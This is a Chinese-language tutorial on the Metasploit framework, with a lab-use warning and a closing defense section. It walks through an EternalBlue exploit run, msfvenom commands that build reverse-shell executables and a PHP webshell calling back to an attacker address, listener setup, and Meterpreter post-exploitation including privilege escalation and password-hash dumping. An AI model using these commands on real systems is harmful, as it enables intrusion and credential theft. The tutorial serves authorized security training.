Metasploit 框架
Metasploit 是世界上最流行的渗透测试框架,把"漏洞利用代码 + 攻击载荷 + 会话管理"标准化,让漏洞利用变得模块化、可复用。这篇讲清楚它的核心概念(exploit / payload / 会话)、msfconsole 的标准工作流,以及用 msfvenom 生成载荷和后渗透的基本套路。
Metasploit 是一把双刃剑,本文所有命令只能在自建靶场(如 Metasploitable)或授权目标上执行。生成的木马载荷请勿在真实网络、他人设备上投放。
核心概念
理解这几个术语,整个框架就通了:
| 概念 | 含义 |
|---|---|
| module(模块) | 框架的功能单元,分 exploit、payload、auxiliary、post、encoder 等类别 |
| exploit(利用模块) | 针对某个具体漏洞的攻击代码 |
| payload(攻击载荷) | 漏洞利用成功后在目标上执行的代码,如反弹 shell、Meterpreter |
| auxiliary(辅助模块) | 不直接 getshell 的功能:扫描、爆破、嗅探、DoS 等 |
| post(后渗透模块) | 拿到会话后用于提权、信息收集、横向移动 |
| session(会话) | 利用成功后建立的控制通道,Meterpreter 是功能最强的会话类型 |
载荷又分两类:
- staged(分阶段):如
windows/meterpreter/reverse_tcp,先发一个小的 stager,再下载完整载荷,体积小。 - stageless(无阶段):如
windows/meterpreter_reverse_tcp,一次性完整载荷,更稳定、抗网络抖动。
启动与基础环境
# 初始化数据库(用于存储扫描结果、主机、凭据),首次使用先执行
sudo msfdb init
# 启动控制台(-q 静默 banner)
msfconsole -q数据库连上后,可以用 db_nmap 直接在框架内扫描,结果自动入库;也可 db_import fullscan.xml 导入上一篇 Nmap 的 XML 结果。
msfconsole 标准工作流
一次典型的利用过程就是"搜索 → 选择 → 配置 → 运行"四步。
# 1. 搜索模块(按 CVE、名称、平台过滤)
msf > search ms17-010
msf > search type:exploit platform:windows smb
# 2. 选用模块
msf > use exploit/windows/smb/ms17_010_eternalblue
# 3. 查看并配置必填选项(required 为 yes 的项必须设置)
msf exploit(ms17_010_eternalblue) > show options
msf exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
# 4. (可选)选择并配置载荷
msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set LPORT 4444
# 5. 先检查目标是否可能存在该漏洞,再发起利用
msf exploit(ms17_010_eternalblue) > check
msf exploit(ms17_010_eternalblue) > exploit关键选项含义:
- RHOSTS / RPORT:目标主机 / 端口。
- LHOST / LPORT:攻击机监听地址 / 端口(反弹型载荷回连用),LHOST 要填攻击机在目标可达网络上的 IP。
- payload:不设时框架会用默认载荷。
用 msfvenom 生成独立载荷
很多场景下漏洞不在 Metasploit 里,而是你需要一个独立的木马文件(配合钓鱼、文件上传漏洞等),这时用 msfvenom:
# 生成 Windows 反弹 Meterpreter 的 exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
# 生成 Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
# 生成 PHP webshell(配合文件上传漏洞)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
# 查看所有可用载荷 / 输出格式
msfvenom -l payloads
msfvenom -l formats参数含义:-p 载荷类型,-f 输出格式,-o 输出文件,-e 编码器、-i 编码轮数(早期用于绕过特征,现代 AV 基本无效,了解即可)。
接收会话:multi/handler
无论是 exploit 还是 msfvenom 生成的反弹载荷,都需要在攻击机上起一个监听器接收回连:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.5
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run载荷类型、LHOST、LPORT 必须与生成载荷时完全一致,否则握手失败。
Meterpreter 后渗透常用命令
成功后进入 Meterpreter 会话,它是一个驻留内存的强大 shell:
meterpreter > sysinfo # 系统信息
meterpreter > getuid # 当前权限
meterpreter > getsystem # 尝试提权到 SYSTEM
meterpreter > hashdump # 导出本地密码哈希(需高权限)
meterpreter > shell # 切换到原生命令行
meterpreter > download c:\\file # 下载文件
meterpreter > upload tool.exe # 上传文件
meterpreter > background # 把会话挂到后台
msf > sessions -l # 列出所有会话
msf > sessions -i 1 # 重新进入 1 号会话导出的哈希可以送去离线破解(见《密码爆破与凭据攻击》),这就把利用与凭据攻击串了起来。
防御视角
- 及时打补丁:Metasploit 里的利用模块绝大多数针对已公开、已有补丁的漏洞(如 MS17-010 早有补丁),打补丁是最有效的防御。
- EDR/AV:检测 Meterpreter 内存特征、可疑反弹连接和
getsystem/hashdump行为。 - 网络分段与出站控制:限制内网主机随意发起出站连接,可阻断反弹型载荷回连。
- 最小权限:服务不以高权限运行,能显著降低被提权后的影响面。
最后更新于